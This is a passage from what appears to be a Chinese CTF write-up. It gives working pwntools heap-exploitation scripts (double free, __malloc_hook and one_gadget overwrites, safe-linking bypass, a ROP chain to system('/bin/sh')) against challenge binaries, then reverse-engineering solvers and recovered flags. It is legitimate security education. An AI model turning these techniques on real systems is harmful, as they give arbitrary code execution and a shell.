main_arena=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
malloc_hook=main_arena-(0xcb0-0xb70)
print("main_arena",hex(main_arena))
libcbase=malloc_hook-0x01ecb70
one=[0xe3b2e,0xe3b31,0xe3b34]
free_hook=libcbase+0x1eee48
print("malloc_hook",hex(malloc_hook))
print("libcbase:",hex(libcbase))

cmd(3)
p.recvuntil("please input note idx\n")
p.sendline(str(2))
heap=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
print("heap",hex(heap))
heapbase=heap-0x310
free(9)
free(10)
add(6,b"xswl")
free(10)
add(13,p64(malloc_hook-0x33))
for i in range(0,6):
        add(i,b'/bin/sh\x00')
add(0,b'6666')
add(14,b'\x00'*0x23+p64(one[1]+libcbase))
print("malloc_hook",hex(malloc_hook))
print("libcbase:",hex(libcbase))
        
cmd(1)
p.sendline(str(1))
        


p.interactive()

3.13 one_byte

利用 unsortedbin double free

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')
elf=ELF('./pwn')
p=remote("localhost",33927)

def cmd(c):
        p.recvuntil('>>> ')
        p.sendline(str(c))
   
def add(idx,size):
        cmd(1)
        p.sendlineafter('[?] please input chunk_idx: ',str(idx))
        p.sendlineafter('[?] Enter chunk size: ',str(size))
    
def free(idx):
        cmd(2)
        p.sendlineafter('[?] please input chunk_idx: ',str(idx))
    
def show(idx):
        cmd(3)
        p.sendline(str(idx))
        
def edit(idx,con):
        cmd(4)
        p.sendlineafter('[?] please input chunk_idx: ',str(idx))
        p.send(con)

def exit(idx):
        cmd(5)
        

for i in range(0,7):
        add(i,0x90)
add(7,0x98)
add(8,0xf0)
add(9,0x90)
add(10,0x90)
add(11,0x90)
for i in range(0,7):
        free(7-i-1)
add(0,0x90)
show(0)
p.recvuntil('[?] please input chunk_idx: ')
heapbase=u64(p.recv(6)[-6:].ljust(8,b'\x00'))-0x340
print("heapbase:",hex(heapbase))
free(0)
#gdb.attach(p)
pay=b'\x00'*0x98+p8(0xa1)
edit(7,pay)
for i in range(12,12+7):
        add(i,0x190)
for i in range(12,12+7):
        free(i)
free(8)
add(19,0xf0)
show(9)
p.recvuntil('[?] please input chunk_idx: ')
main_arena=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
print("main_arena:",hex(main_arena))
malloc_hook=main_arena-(0xbe0-0xb70)
libcbase=malloc_hook-0x01ecb70
free_hook=libcbase+0x00001eee48
one=[0xe3afe,0xe3b01,0xe3b04]
for i in range(0,3):
        one[i]=one[i]+libcbase

for i in range(0,7):
        add(i,0x90)
add(20,0x90)
free(0)
free(9)
pay=p64(malloc_hook-0x33)
edit(20,pay)
add(21,0x90)
add(22,0x90)
pay=b'a'*0x33+p64(one[1])
edit(22,pay)
add(23,0x90)

p.interactive()

3.14 malloc_flag


3.15 ptmalloc_pro

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
ld=ELF("./ld-linux-x86-64.so.2")
#p=remote("")
p=remote("localhost",33975)

bss_flag=0x4040E0

def cmd(cho):
        p.sendlineafter('>>> ',str(cho))

def add(i,size,content):
        cmd(1)
        p.sendlineafter('[?] please input chunk_idx: ',str(i))
        p.sendlineafter('[?] Enter chunk size: ',str(size))
        p.sendafter('[?] Enter chunk data: ',content)
        
def show(idx):
        cmd(3)
        p.sendlineafter('[?] Enter chunk id: ',str(idx))
        
        
def delete(idx):
        cmd(2)
        p.sendlineafter("[?] Enter chunk id: ",str(idx))


def exit():
        cmd(4)
        
def de_heap(this,new_next):
    base=0
    new_next=new_next^this
    base=this<<12

def en_heap(this,old_next):
    result=0
    this=this >> 12
    result=this^old_next
    return result
    

def calc_heap(addr):
    s = hex(addr)[2:]
    s = [int(x, base=16) for x in s]
    res = s.copy()
    for i in range(9):
        res[3+i] ^= res[i]
    res = "".join([hex(x)[2:] for x in res])
    return int16_ex(res)

'''
gift()
p.recvuntil("gift: 0x")
puts_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("puts_addr",hex(puts_addr))
libcbase=puts_addr-        0x080e50
environ=0x222200+libcbase
system=libcbase+0x050d70
bin_sh=libcbase+0x1d8678
pop_rdi=libcbase+0x2a3e5
'''
add(0,0x20,b'xswlhhh\x00')
add(1,0x20,b'xswlhhh\x00')
add(2,0x50,b'protect\x00')
delete(1)
delete(0)
#0->1
add(3,0x18,p64(0x31)*2) #0->1
show(3)
p.recvuntil(p64(0x31)*2)
heapaddr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
heapbase=heapaddr-0x310
print("heapaddr=",hex(heapaddr))
delete(3)

add(0,0x20,b'xswlhhh\x00')
add(1,0x20,b'xswlhhh\x00')
pay=b'a'*0x40+p64(0)+p64(0x91)#heapbase+0x420
add(3,0x60,pay)
add(4,0x60,b'protect\x00')

add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(5,0x60,b'protect\x00')
add(7,0x50,(p64(0)+p64(0x81))*5)
add(8,0x50,b'protect\x00')
add(10,0x50,b'protect\x00')
add(5,0x60,b'protect\x00')

delete(1)
delete(0)
target=heapbase+0x420
base=target & 0xffff
base=base+0x10
add(3,0x18,p64(0x1)*2+p16(base)) 

delete(1)

add(6,0x80,p64(0)*3+p64(0x21)+p64(0x500)+p64(1)+p64(heapbase+0x470)+p64(0x511))
delete(4)
show(6)
p.recvuntil(p64(0x511))
libcaddr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
print("libcaddrr=",hex(libcaddr))
stdin=libcaddr-(0xce0-0xaa0)
libcbase=stdin-0x21aaa0
print("libcbase=",hex(libcbase))
environ=0x00222200+libcbase
one=[0x50a47,0xebc81,0xebc85,0xebc88]
for i in range(0,4):
        one[i]=one[i]+libcbase
        
delete(6)
pay=p64(0)*3+p64(0x21)+p64(0x50)+p64(1)+p64(environ)
add(6,0x80,pay)
show(4)
stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("stack_addr=",hex(stack))
ret=stack-(0x62208-0x620c8)
rbp=ret-0x8


delete(6)
pay=p64(0)*3+p64(0x21)+p64(0x50)+p64(1)+p64(heapbase+0xad0)

add(6,0x80,pay)
delete(10)
delete(8)
delete(4)
print("heapaddr=",hex(heapaddr))
next1=en_heap(heapbase+0xb20,ret-0x8)
add(4,0x70,p64(0)*5+p64(0x21)+p64(0x50)+p64(1)+p64(heapbase+0xb20)+p64(0x61)+p64(next1))

add(9,0x50,b'a')
delete(4)
#gdb.attach(p,"b *0x4014be")
print("ret:",hex(ret))
pop_rdx_rbx=0x11f2e7+libcbase
system=libcbase+        0x050d70
bin_sh=libcbase+0x1d8678
pop_rdi=libcbase+0x2a3e5
ret=0x4014BF
add(11,0x50,p64(rbp)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system))


p.interactive()

4. Reverse

4.1 聪明的信使

凯撒,偏移 9

oujp{H0d_TwXf_Lahyc0_14_e3ah_Rvy0ac@wc!}

flag{Y0u_KnOw_Crypt0_14_v3ry_Imp0rt@nt!}


4.2 喵喵喵的 flag 碎了一地

flag{My_fl@g_h4s_br0ken_4parT_Bu7_Y0u_c@n_f1x_1t!}

程序教你用 IDA,没什么好说的


4.3 你真的是大学生吗

8086 汇编逆向,简单的异或

xyctf{you_know_8086}

1
2
3
4
5
6
7
8
9
10
str = [118, 14, 119, 20, 96, 6, 125, 4, 107,
       30, 65, 42, 68, 43, 92, 3, 59, 11, 51, 5]

for i in range(19, -1, -1):
    str[i] = str[i-1] ^ str[i]
# str[0] = str[0] ^ str[19]

for i in range(1, 20):
    print(chr(str[i]), end='')
print('}')

4.4 DebugMe

XYCTF{d3bugg3r_15_v3ry_u53ful}

用 JEB 打开,可以看到有调试检查:

使用调试运行才能走正常逻辑.

java 代码看到是一系列的类 TEA 加密和 base64 的组合,并且查看 smali(或者 JADX 中查看 JAVA 源码)发现有混淆.静态分析过于复杂.

启动调试,但是可能是因为混淆代码过长,单步调了好长时间都没跑出值,一度以为是 JEB 版本有问题:

后来发现只要启动调试,就会弹出显示框给出 flag,手机录屏截下:


4.5 ez unity

根据提示,找到该工具:

https://github.com/Perfare/Il2CppDumper/

另外发现 UnityPlayer.dll 有 UPX 壳,标准的,直接 4.21 版本脱壳即可.

尝试还原出 dll 无果,看来 global-metadata.dat 文件被加密了,目前正在尝试解密:

更新:

在 GameAssembly.dll 中的一段可疑的代码,解密看到就是要读取的文件名:

但是至于 IL2CPP 的解析逻辑尚不清楚.

这是一些源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void* il2cpp::vm::MetadataLoader::LoadMetadataFile(const char* fileName) {
#if IL2CPP_TARGET_ANDROID && IL2CPP_TINY_DEBUGGER && !IL2CPP_TINY_FROM_IL2CPP_BUILDER
        std::string resourcesDirectory = utils::PathUtils::Combine(utils::StringView<char>("Data"), utils::StringView<char>("Metadata"));

        std::string resourceFilePath = utils::PathUtils::Combine(resourcesDirectory, utils::StringView<char>(fileName, strlen(fileName)));

        int size = 0;
        return loadAsset(resourceFilePath.c_str(), &size, malloc);
#elif IL2CPP_TARGET_JAVASCRIPT && IL2CPP_TINY_DEBUGGER &&!IL2CPP_TINY_FROM_IL2CPP_BUILDER
        return g_MetadataForWebTinyDebugger;
#else
        std::string resourcesDirectory = utils::PathUtils::Combine(utils::Runtime::GetDataDir(), utils::StringView<char>("Metadata"));

        std::string resourceFilePath = utils::PathUtils::Combine(resourcesDirectory, utils::StringView<char>(fileName, strlen(fileName)));

        int error = 0;
        os::FileHandle* handle = os::File::Open(resourceFilePath, kFileModeOpen, kFileAccessRead, kFileShareRead, kFileOptionsNone, &error);
        if (error != 0) {
                utils::Logging::Write("ERROR: Could not open %s", resourceFilePath.c_str());
                return NULL;
        }

        void* fileBuffer = utils::MemoryMappedFile::Map(handle);

        os::File::Close(handle, &error);
        if (error != 0) {
                utils::MemoryMappedFile::Unmap(fileBuffer);
                fileBuffer = NULL;
                return NULL;
        }

        return fileBuffer;
#endif
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
bool il2cpp::vm::MetadataCache::Initialize()
{
    s_GlobalMetadata = vm::MetadataLoader::LoadMetadataFile("global-metadata.dat");
    if (!s_GlobalMetadata)
        return false;
 
    s_GlobalMetadataHeader = (const Il2CppGlobalMetadataHeader*)s_GlobalMetadata;
    IL2CPP_ASSERT(s_GlobalMetadataHeader->sanity == 0xFAB11BAF);
    IL2CPP_ASSERT(s_GlobalMetadataHeader->version == 24);
 
    s_TypeInfoTable = (Il2CppClass**)IL2CPP_CALLOC(s_Il2CppMetadataRegistration->typesCount, sizeof(Il2CppClass*));
    s_TypeInfoDefinitionTable = (Il2CppClass**)IL2CPP_CALLOC(s_GlobalMetadataHeader->typeDefinitionsCount / sizeof(Il2CppTypeDefinition), sizeof(Il2CppClass*));
    s_MethodInfoDefinitionTable = (const MethodInfo**)IL2CPP_CALLOC(s_GlobalMetadataHeader->methodsCount / sizeof(Il2CppMethodDefinition), sizeof(MethodInfo*));
    s_GenericMethodTable = (const Il2CppGenericMethod**)IL2CPP_CALLOC(s_Il2CppMetadataRegistration->methodSpecsCount, sizeof(Il2CppGenericMethod*));
    s_ImagesCount = s_GlobalMetadataHeader->imagesCount / sizeof(Il2CppImageDefinition);
    s_ImagesTable = (Il2CppImage*)IL2CPP_CALLOC(s_ImagesCount, sizeof(Il2CppImage));
    s_AssembliesCount = s_GlobalMetadataHeader->assembliesCount / sizeof(Il2CppAssemblyDefinition);
    s_AssembliesTable = (Il2CppAssembly*)IL2CPP_CALLOC(s_AssembliesCount, sizeof(Il2CppAssembly));
    // ...
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
bool Runtime::Init(const char* filename, const char *runtime_version)
{
    SanityChecks();
 
    os::Initialize();
    os::Locale::Initialize();
    MetadataAllocInitialize();
 
    s_FrameworkVersion = framework_version_for(runtime_version);
 
    os::Image::Initialize();
    os::Thread::Init();
    il2cpp::utils::RegisterRuntimeInitializeAndCleanup::ExecuteInitializations();
 
    if (!MetadataCache::Initialize())
        return false;
    Assembly::Initialize();
    gc::GarbageCollector::Initialize();
 
    Thread::Initialize();
    Reflection::Initialize();
 
    register_allocator(il2cpp::utils::Memory::Malloc);
 
    memset(&il2cpp_defaults, 0, sizeof(Il2CppDefaults));
 
    const Il2CppAssembly* assembly = Assembly::Load("mscorlib.dll");
 
    il2cpp_defaults.corlib = Assembly::GetImage(assembly);
    DEFAULTS_INIT(object_class, "System", "Object");
    DEFAULTS_INIT(void_class, "System", "Void");
    DEFAULTS_INIT_TYPE(boolean_class, "System", "Boolean", bool);
    DEFAULTS_INIT_TYPE(byte_class, "System", "Byte", uint8_t);
    DEFAULTS_INIT_TYPE(sbyte_class, "System", "SByte", int8_t);
    DEFAULTS_INIT_TYPE(int16_class, "System", "Int16", int16_t);
    DEFAULTS_INIT_TYPE(uint16_class, "System", "UInt16", uint16_t);
    DEFAULTS_INIT_TYPE(int32_class, "System", "Int32", int32_t);
    DEFAULTS_INIT_TYPE(uint32_class, "System", "UInt32", uint32_t);
    DEFAULTS_INIT(uint_class, "System", "UIntPtr");
    DEFAULTS_INIT_TYPE(int_class, "System", "IntPtr", intptr_t);
    DEFAULTS_INIT_TYPE(int64_class, "System", "Int64", int64_t);
    DEFAULTS_INIT_TYPE(uint64_class, "System", "UInt64", uint64_t);
    DEFAULTS_INIT_TYPE(single_class, "System", "Single", float);
    DEFAULTS_INIT_TYPE(double_class, "System", "Double", double);
    DEFAULTS_INIT_TYPE(char_class, "System", "Char", Il2CppChar);
    DEFAULTS_INIT(string_class, "System", "String");
    // ...

gm.dat 被修改过,但是应该不是整体加密,尝试修改文件头特征码,但是还是没法使用。

发现新的工具:frida-il2cpp-bridge,不用 gm 也能 dump,抓内存,装环境装了半天,才发现 win11 不行,要 win10

Pip install frida frida-tools

Npm i frida-il2cpp-bridge

然后根据需要修改 package.json,新建 index.ts,脚本写在这个 ts 里

在 cmd 输入 npm run hook,其中 hook 是 json 中指向命令的对象,就会开始编译 ts 脚本为 hook.js 脚本

然后打开要 hook 的程序,在任务管理器中查看其进程 pid

在 js 那个目录下 cmd 输入 frida -p (进程 pid) -l ./hook.js 就能注入脚本了,相当于热补丁

1
2
3
4
5
6
7
import "frida-il2cpp-bridge"

Il2Cpp.perform(() => {
    console.log(Il2Cpp.unityVersion)

    Il2Cpp.dump("dump.cs","./");
});

这是 dump 内存的脚本

checkflag 函数很可疑,还有 aes 加密。旁边注释的应该是偏移

GameAssembly.dll 直接扔 IDA 看不了东西,发现有 upx,去壳后扔 IDA,根据偏移找到 checkflag 函数

v3=……那里其实就是调用了 aes 加密。后面应该还要找到密文,key 和 iv,继续用 frida-il2cpp-bridge 的 tracer 功能来追踪到这些信息,因为也在 gm.dat 里,dll 里没有。密文应该在 string 类里。根据官方文档,脚本如下

1
2
3
4
5
6
7
8
import "frida-il2cpp-bridge"

Il2Cpp.perform(() => {
    console.log(Il2Cpp.unityVersion)

    const String =Il2Cpp.corlib.class("System.String");
    Il2Cpp.trace(true).classes(String).and().attach();
});

在程序里随便提交一个字符,他会调用 checkflag 函数,所以字符就会被 hook 出来,但是怎么看着像 base 系列的(

key 和 iv 可能在 aes 加密的函数里,那就在 check 类里,继续 dump

然后随便扔个脚本解密就完事了,吧?

不是 a 字符串

撒花!XYCTF{IL2CPP_1s_intere5t1ng}

网上是查不到一点有这种题的 CTF,这新生不了一点。


4.6 baby unity

本题可以正常逆出 dat 文件,找到三个函数在 GameAssembly.dll 中的偏移:

根据 VA 到 IDA 中反编译 GameAssembly.dll,找到对应函数,进行逆向:

看到一个字符串,很可疑

看到一个 base64 函数,一个异或的语句,最后应该就是字符串判断相同的函数。所以先拿字符串异或 15 然后 base64 解码试试。


4.7 trustme

为嵌套式的安卓逆向,在分析后可以找到另一个 apk 文件

再用 db 查看即可


4.8 ez_cube

flag{RuRURURuruRR}

u 就是 u’,公式随手一搜就有


4.9 今夕是何年

e-machine258

loongarch64 的程序

https://github.com/loongson/build-tools 这里可以下载到 qemu-loongarch 环境


4.10 砸核桃

脱壳工具:https://www.52pojie.cn/thread-226602-1-1.html

直接异或就完事了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
int main(){
    unsigned char ida_chars[] ={
        18,   0,   0,   0,   4,   0,   0,   0,   8,   0, 
        0,   0,  20,   0,   0,   0,  36,   0,   0,   0, 
        92,   0,   0,   0,  74,   0,   0,   0,  61,   0, 
        0,   0,  86,   0,   0,   0,  10,   0,   0,   0, 
        16,   0,   0,   0, 103,   0,   0,   0,   0,   0, 
        0,   0,  65,   0,   0,   0,   0,   0,   0,   0, 
        1,   0,   0,   0,  70,   0,   0,   0,  90,   0, 
        0,   0,  68,   0,   0,   0,  66,   0,   0,   0, 
        110,   0,   0,   0,  12,   0,   0,   0,  68,   0, 
        0,   0, 114,   0,   0,   0,  12,   0,   0,   0, 
        13,   0,   0,   0,  64,   0,   0,   0,  62,   0, 
        0,   0,  75,   0,   0,   0,  95,   0,   0,   0, 
        2,   0,   0,   0,   1,   0,   0,   0,  76,   0, 
        0,   0,  94,   0,   0,   0,  91,   0,   0,   0, 
        23,   0,   0,   0, 110,   0,   0,   0,  12,   0, 
        0,   0,  22,   0,   0,   0, 104,   0,   0,   0, 
        91,   0,   0,   0,  18,   0,   0,   0,   0,   0, 
        0,   0,   0,   0,   0,   0,  72,   0,   0,   0, 
        0,   0,   0,   0,   0,   0,   0,   0,   0,   0, 
        0,   0,   0,   0,   0,   0,   0,   0,   0,   0, 
        0,   0,   0,   0,   0,   0,   0,   0,   0,   0, 
        0,   0,   0,   0,   0,   0,   0,   0,   0,   0, 
        0,   0,   0,   0,   0,   0,   0,   0,   0,   0, 
        0,   0,   0,   0,   0,   0
    };
    char key[]="this_is_not_flag";
    unsigned int *p = (unsigned int* )ida_chars;
    for(int i=0;i<42;++i){
        putchar(p[i]^key[i%16]);
    }
    return 0;
}

4.11 ez_rand

爆破即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include <stdio.h>
#include <time.h>
#include <stdlib.h>
#include <stdint.h>
int main() {
        char v9[1000];
        ((int*)v9)[0] = -362017699;
        ((int*)v9)[1] = 888936774;
        ((int*)v9)[2] = 119759538;
        ((int*)v9)[3] = -76668318;
        ((int*)v9)[4] = -1443698508;
        ((int*)v9)[5] = -2044652911;
        ((int*)v9)[6] = 1139379931;
        v9[28] = 'M';

        int len = 29;
        unsigned int range_t = time(NULL);
        unsigned int bp_t;
        char flag[30];
        for (bp_t = 0; bp_t < range_t; ++bp_t) {
                srand(bp_t);
                int v5 = 0, v6 = 0;
                do {
                        int v7 = rand();
                        flag[v6] = (
                                       v9[v6] ^ (char)(v7
                                                       + ((((uint64_t)(2155905153 * v7) >> 32) & 0x80000000) != 0)
                                                       + ((int)((uint64_t)(2155905153 * v7) >> 32) >> 7)
                                                      )
                                   );


                        ++v5;
                        ++v6;
                } while ( v5 < len );
                if (v5 == len) {
                        if (flag[0] == 'X' &&
                                flag[1] == 'Y' &&
                                flag[2] == 'C' &&
                                flag[3] == 'T' &&
                                flag[4] == 'F'
                           ) {
                                printf("%s", flag);
                                break;
                        } else
                                printf("seed %u not correct\n",bp_t);
                        }
        }
        printf("correct seed %u\n", bp_t);
        return 0;
}


4.12 何须相思煮余年

将提供的字节流写入到一个 exe 程序里:

这里将数据文本稍微处理一下:

1
55  8b  ec  81  ec  a8  0  0  0  a1  0  40  41  0  33  c5  89  45  fc  68  9c  0  0  0  6a  0  8d  85  60  ff  ff  ff  50  e8  7a  c  0  0  83  c4  c  c7  85  58  ff  ff  ff  27  0  0  0  c7  85  5c  ff  ff  ff  0  0  0  0  eb  f  8b  8d  5c  ff  ff  ff  83  c1  1  89  8d  5c  ff  ff  ff  83  bd  5c  ff  ff  ff  27  f  8d  ed  0  0  0  8b  95  5c  ff  ff  ff  81  e2  3  0  0  80  79  5  4a  83  ca  fc  42  85  d2  75  25  8b  85  5c  ff  ff  ff  8b  8c  85  60  ff  ff  ff  3  8d  5c  ff  ff  ff  8b  95  5c  ff  ff  ff  89  8c  95  60  ff  ff  ff  e9  ac  0  0  0  8b  85  5c  ff  ff  ff  25  3  0  0  80  79  5  48  83  c8  fc  40  83  f8  1  75  22  8b  8d  5c  ff  ff  ff  8b  94  8d  60  ff  ff  ff  2b  95  5c  ff  ff  ff  8b  85  5c  ff  ff  ff  89  94  85  60  ff  ff  ff  eb  73  8b  8d  5c  ff  ff  ff  81  e1  3  0  0  80  79  5  49  83  c9  fc  41  83  f9  2  75  23  8b  95  5c  ff  ff  ff  8b  84  95  60  ff  ff  ff  f  af  85  5c  ff  ff  ff  8b  8d  5c  ff  ff  ff  89  84  8d  60  ff  ff  ff  eb  38  8b  95  5c  ff  ff  ff  81  e2  3  0  0  80  79  5  4a  83  ca  fc  42  83  fa  3  75  20  8b  85  5c  ff  ff  ff  8b  8c  85  60  ff  ff  ff  33  8d  5c  ff  ff  ff  8b  95  5c  ff  ff  ff  89  8c  95  60  ff  ff  ff  e9  f7  fe  ff  ff  33  c0  8b  4d  fc  33  cd  e8  4  0  0  0  8b  e5  5d  c3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include <stdio.h>
#include <stdint.h>
#include <string.h>
int main() {
    FILE *fp = fopen("D:/Data/code/cpp/test/yunian.txt", "r");
    FILE *out = fopen("D:/Data/code/cpp/test/prog.exe", "w");
    char tmp[10];
    while (fscanf(fp, "%s", tmp)!=EOF) {
        unsigned char byte = 0;
        int len = strlen(tmp);
        if (len == 1) {
            if (tmp[0] >= '0' && tmp[0] <= '9') {
                byte = tmp[0] - '0';
            } else {
                byte = tmp[0] - 'a' + 10;
            }
        } else if (len == 2) {
            if (tmp[0] >= '0' && tmp[0] <= '9') {
                byte = tmp[0] - '0';
            } else {
                byte = tmp[0] - 'a' + 10;
            }
            byte <<= 4;
            if (tmp[1] >= '0' && tmp[1] <= '9') {
                byte += tmp[1] - '0';
            } else {
                byte += tmp[1] - 'a' + 10;
            }
        }
        printf("%#x ", byte);
        fwrite(&byte, 1, 1, out);
    }
    return 0;
}

得到 prog.exe,IDA 反编译不出来:

那我们使用 Ghidra(doge):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
/* WARNING: Instruction at (ram,0x0000011e) overlaps instruction at (ram,0x0000011d)
    */

void UndefinedFunction_00000000(void)

{
  ulong uVar1;
  ulong uVar2;
  ulong in_R9;
  
  uVar2 = (ulong)&stack0xfffffffffffffff8 & 0xffffffff;
  uVar1 = (ulong)((int)&stack0xfffffffffffffff8 - 0xa8);
  *(undefined8 *)(uVar1 - 8) = 0x9c;
  *(undefined8 *)(uVar1 - 0x10) = 0;
  *(ulong *)(uVar1 - 0x18) = (ulong)((int)uVar2 - 0xa0);
  *(undefined8 *)(uVar1 - 0x20) = 0x26;
  func_0x00000ca0();
  *(undefined4 *)(uVar2 - 0xa8) = 0x27;
  *(undefined4 *)(uVar2 - 0xa4) = 0;
  while (*(int *)(uVar2 - 0xa4) < 0x27) {
    if ((*(uint *)(uVar2 - 0xa4) & 0x80000003 | 0xfffffffc) == 0) {
      *(int *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) =
           *(int *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) + *(int *)(uVar2 - 0xa4) ;
    }
    else if ((*(uint *)(uVar2 - 0xa4) & 0x80000003 | 0xfffffffc) == 1) {
      *(int *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) =
           *(int *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) - *(int *)(uVar2 - 0xa4) ;
    }
    else {
      in_R9 = in_R9 | 0xfffffffffffffffc;
      if ((int)in_R9 == 2) {
        *(int *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) =
             *(int *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) * *(int *)(uVar2 - 0xa 4);
      }
      else if ((*(uint *)(uVar2 - 0xa4) & 0x80000003 | 0xfffffffc) == 3) {
        *(uint *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) =
             *(uint *)((uVar2 - 0xa0) + (ulong)*(uint *)(uVar2 - 0xa4) * 4) ^
             *(uint *)(uVar2 - 0xa4);
      }
    }
    *(int *)(uVar2 - 0xa4) = *(int *)(uVar2 - 0xa4) + 1;
  }
  *(undefined8 *)((ulong)((int)(uVar1 - 0x18) + 0xc) - 8) = 0x154;
  func_0x00000158();
  return;
}

变量分析的还是有问题的,不过问题不大,图省事就扔给 GPT 吧:

实际上那几个位运算可能是汇编层面要特殊处理寄存器,实际不需要,直接将循环变量对 4 求余就好,代码大概是这样,r8 这些细节懒得改了,没啥用,实际 r8 不需要爆破(大概?),没看懂程序里 r8 是干啥的,反正能跑出来:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#include <stdio.h>
#include <stdint.h>
#include <string.h>
_int_ main() {
    _int_ enc_ogn[39] = {
        88, 88, 134, 87, 74,
        118, 318, 101, 59, 92,
        480, 60, 65, 41, 770,
        110, 73, 31, 918, 39,
        120, 27, 1188, 47, 77,
        24, 1352, 44, 81, 23,
        1680, 46, 85, 15, 1870,
        66, 91, 16, 4750
    };
    _unsigned_ _long_ _long_ r9;_ // maybe bao po_
    for (_unsigned_ _long_ _long_ r9_ogn = 0; r9_ogn < 10; ++r9_ogn) {
        printf("r9 ogn == %llu\n", r9_ogn);
        r9 = r9_ogn;
        _int_ enc[39];
        for (_int_ j = 0; j < 39; ++j)
            enc[j] = enc_ogn[j];
        for (_int_ i = 0; i < 39; i++) {
            _// int k = (i & 0x80000003) | 0xfffffffc;_
            _int_ k = i % 4;
            _// printf("i == %#x k == %#x\n",i,k);_
            if (k == 0) {
                enc[i] -= i;
            } else if (k == 1) {
                enc[i] += i;
            } else if (k == 3) {
                enc[i] ^= i;
            } else if (k == 2) {
                _// r9 |= 0xfffffffffffffffc;_
                _// if (r9 == 2) {_
                enc[i] /= i;
                _// }_
            }
        }
        for (_int_ i = 0; i < 39; ++i) {
            _// printf("%2d %c\n",enc[i],enc[i]);_
            printf("%c", enc[i]);
        }
        printf("\n");
    }

    return 0;
}


4.13 what’s this

5.1 版本 lua 逆向,用 luac 反编译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
value = ""
output = ""
i = 1
while 1 do
  local temp = (string.byte)(flag, i)
  temp = (string.char)(Xor(temp, 8) % 256)
  value = value .. temp
  i = i + 1
  if (string.len)(flag) < i then
    break
  end
end
do
  for _ = 1, 1000 do
    x = 3
    y = x * 3
    z = y / 4
    w = z - 5
    if w == 0 then
      print("This line will never be executed")
    end
  end
  for i = 1, (string.len)(flag) do
    temp = (string.byte)(value, i)
    temp = (string.char)(temp + 3)
    output = output .. temp
  end
  result = output:rep(10)
  invalid_list = {1, 2, 3}
  for _ = 1, 20 do
    (table.insert)(invalid_list, 4)
  end
  for _ = 1, 50 do
    result = result .. "A"
    ;
    (table.insert)(invalid_list, 4)
  end
  for i = 1, (string.len)(output) do
    temp = (string.byte)(output, i)
    temp = (string.char)(temp - 1)
  end
  for _ = 1, 30 do
    result = result .. (string.lower)(output)
  end
  for _ = 1, 950 do
    x = 3
    y = x * 3
    z = y / 4
    w = z - 5
    if w == 0 then
      print("This line will never be executed")
    end
  end
  for _ = 1, 50 do
    x = -1
    y = x * 4
    z = y / 2
    w = z - 3
    if w == 0 then
      print("This line will also never be executed")
    end
  end
